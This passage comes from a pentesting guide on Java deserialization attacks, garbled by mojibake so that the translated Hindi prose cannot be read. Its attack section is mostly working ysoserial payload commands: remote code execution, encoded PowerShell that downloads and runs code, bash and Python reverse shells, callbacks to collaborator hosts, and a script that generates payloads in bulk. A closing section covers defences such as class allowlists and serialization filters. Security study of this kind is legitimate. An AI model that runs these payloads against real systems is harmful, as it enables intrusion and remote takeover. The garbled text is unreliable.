рд╕рднреА рдХреБрдЫ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХреЛрдИ рдХрдордЬреЛрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдХрднреА-рдХрднреА рдЖрдк serialized object рдХреЗ рдЕрдВрджрд░ рдбреЗрдЯрд╛ рдХреЛ рдмрджрд▓рдиреЗ рдФрд░ рдХреБрдЫ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдПрдХ рд╡реЗрдм рдРрдк рдХреЗ рдЕрдВрджрд░ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░реЗрдВ)ред
рдпрджрд┐ рдЖрдк рдПрдХ рдЬрд╛рд╡рд╛ serialized object рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рднреЗрдЬрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ SerializationDumper рдЬрд┐рд╕рд╕реЗ рдЖрдк рднреЗрдЬреЗ рдЧрдП serialization object рдХреЛ рдЕрдзрд┐рдХ рдорд╛рдирд╡-рдкрдардиреАрдп рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкреНрд░рд┐рдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдЬрд╛рдирдирд╛ рдХрд┐ рдЖрдк рдХреМрди рд╕рд╛ рдбреЗрдЯрд╛ рднреЗрдЬ рд░рд╣реЗ рд╣реИрдВ, рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рдФрд░ рдХреБрдЫ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛрдЧрд╛ред

рд╢реЛрд╖рдг

ysoserial

рдЬрд╛рд╡рд╛ deserializations рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЦреНрдп рдЙрдкрдХрд░рдг ysoserial рд╣реИ (рдпрд╣рд╛рдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ)ред рдЖрдк ysoseral-modified рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдЬрдЯрд┐рд▓ рдХрдорд╛рдВрдб (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдкрд╛рдЗрдк рдХреЗ рд╕рд╛рде) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдЙрдкрдХрд░рдг ObjectInputStream рдХреЗ рд╢реЛрд╖рдг рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред
рдореИрдВ RCE рдкреЗрд▓реЛрдб рд╕реЗ рдкрд╣рд▓реЗ "URLDNS" рдкреЗрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реВрдВрдЧрд╛ рдпрд╣ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди рд╕рдВрднрд╡ рд╣реИред рд╡реИрд╕реЗ рднреА, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╢рд╛рдпрдж "URLDNS" рдкреЗрд▓реЛрдб рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЕрдиреНрдп RCE рдкреЗрд▓реЛрдб рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

рдЬрдм java.lang.Runtime.exec() рдХреЗ рд▓рд┐рдП рдПрдХ payload рдмрдирд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЬреИрд╕реЗ ">" рдпрд╛ "|" рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, "$()" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рддрд░реНрдХ рдкрд╛рд╕ рдХрд░реЗрдВ рдЬреЛ рд╕реНрдкреЗрд╕ рджреНрд╡рд╛рд░рд╛ рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП рд╣реИрдВ (рдЖрдк echo -n "hello world" рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдк python2 -c 'print "Hello world"' рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ)ред payload рдХреЛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдПрдиреНрдХреЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЗрд╕ рд╡реЗрдмрдкреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Windows рдФрд░ Linux рдХреЗ рд▓рд┐рдП рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди payloads рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдВрддреНрд░ рдорд╣рд╕реВрд╕ рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ рдХрдордЬреЛрд░ рд╡реЗрдм рдкреГрд╖реНрда рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ https://github.com/pwntester/SerialKillerBypassGadgetCollection рдФрд░ ysoserial рдХреЗ рд╕рд╛рде рдЕрдзрд┐рдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕ рдЯреВрд▓ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдмрд╛рддрдЪреАрдд рдХреА рд╕реНрд▓рд╛рдЗрдбреНрд╕ рдореЗрдВ рд╣реИ рдЬрд╣рд╛рдБ рдЯреВрд▓ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рднрд┐рдиреНрди Json рдФрд░ Yml рд╕реАрд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреЛ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЗрд▓реЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЭреЗ pom.xml рдореЗрдВ рдпреЗ dependencies рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

maven рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ, рдФрд░ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

рдЗрд╕ Java JSON рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВ: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java рд╡рд┐рднрд┐рдиреНрди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рд░реА serialization рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕реЗ:

  • HTTP requests: Serialization рдХрд╛ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдкреНрд░рдмрдВрдзрди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ parameters, ViewState, cookies, рдЖрджрд┐ред
  • RMI (Remote Method Invocation): Java RMI рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ serialization рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ, Java рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рджреВрд░рд╕реНрде рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрдзрд╛рд░рд╢рд┐рд▓рд╛ рд╣реИред
  • RMI over HTTP: рдпрд╣ рд╡рд┐рдзрд┐ Java-рдЖрдзрд╛рд░рд┐рдд рдореЛрдЯреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рд╕рднреА рдСрдмреНрдЬреЗрдХреНрдЯ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП serialization рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред
  • JMX (Java Management Extensions): JMX рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП serialization рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
  • Custom Protocols: Java рдореЗрдВ, рдорд╛рдирдХ рдкреНрд░рдерд╛ рдХрдЪреНрдЪреЗ Java рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рд╕рдВрдЪрд░рдг рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕реЗ рдЖрдЧрд╛рдореА exploit рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

Prevention

Transient objects

рдПрдХ рд╡рд░реНрдЧ рдЬреЛ Serializable рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ рд╡рд░реНрдЧ рдХреЗ рдЕрдВрджрд░ рдХрд┐рд╕реА рднреА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ transient рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ serializable рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Avoid Serialization of a class that need to implements Serializable

рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ рдХреБрдЫ objects рдХреЛ Serializable рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡рд░реНрдЧ рдкрджрд╛рдиреБрдХреНрд░рдо рдХреЗ рдХрд╛рд░рдг, рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ deserialization рдХрд╛ рдЬреЛрдЦрд┐рдо рд╣реЛрддрд╛ рд╣реИред рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдпреЗ objects non-deserializable рд╣реИрдВ, рдПрдХ final readObject() рд╡рд┐рдзрд┐ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдХреЗ рдЬреЛ рд▓рдЧрд╛рддрд╛рд░ рдПрдХ рдЕрдкрд╡рд╛рдж рдлреЗрдВрдХрддреА рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java рдореЗрдВ Deserialization рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдирд╛

java.io.ObjectInputStream рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛ deserialization рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рддрдм рдЙрдкрдпреБрдХреНрдд рд╣реИ рдЬрдм:

  • Deserialization рдХреЛрдб рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реИред
  • Deserialization рдХреЗ рд▓рд┐рдП рдЕрдкреЗрдХреНрд╖рд┐рдд рдХрдХреНрд╖ рдЬреНрдЮрд╛рдд рд╣реИрдВред

resolveClass() рд╡рд┐рдзрд┐ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рдХреЗрд╡рд▓ рдЕрдиреБрдордд рдХрдХреНрд╖реЛрдВ рддрдХ deserialization рд╕реАрдорд┐рдд рд╣реЛ рд╕рдХреЗред рдпрд╣ рдХрд┐рд╕реА рднреА рдХрдХреНрд╖рд╛ рдХреЗ deserialization рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ рд╕рд┐рд╡рд╛рдп рдЙрди рдХрдХреНрд╖реЛрдВ рдХреЗ рдЬреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдордд рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЬреЛ deserialization рдХреЛ рдХреЗрд╡рд▓ Bicycle рдХрдХреНрд╖рд╛ рддрдХ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИ:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрдзрд╛рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдЬрд╛рд╡рд╛ рдПрдЬреЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдПрдХ рдмреИрдХрдЕрдк рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрдм рдХреЛрдб рд╕рдВрд╢реЛрдзрди рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛрддрд╛ред рдпрд╣ рд╡рд┐рдзрд┐ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдХрдХреНрд╖рд╛рдУрдВ рдХреА рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ, рдПрдХ JVM рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП:

-javaagent:name-of-agent.jar

рдпрд╣ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИ рдЬрд╣рд╛рдБ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдХреЛрдб рдкрд░рд┐рд╡рд░реНрддрди рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдирд╣реАрдВ рд╣реИрдВред

рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦреЗрдВ rO0 by Contrast Security

Serialization Filters рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛: Java 9 рдиреЗ ObjectInputFilter рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ serialization filters рдкреЗрд╢ рдХрд┐рдП, рдЬреЛ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рд╕реЗ рдкрд╣рд▓реЗ serialized рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдорд╛рдирджрдВрдбреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рддрдВрддреНрд░ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рдлрд╝рд┐рд▓реНрдЯрд░ рд╡реИрд╢реНрд╡рд┐рдХ рд░реВрдк рд╕реЗ рдпрд╛ рдкреНрд░рддрд┐ рд╕реНрдЯреНрд░реАрдо рд▓рд╛рдЧреВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рдмрд╛рд░реАрдХ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред

Serialization filters рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рд┐рд▓реНрдЯрд░ рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╕рднреА рдбреЗрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди рд╕рдВрдЪрд╛рд▓рди рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдЗрд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдЯреНрд░реАрдо рдХреЗ рд▓рд┐рдП рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

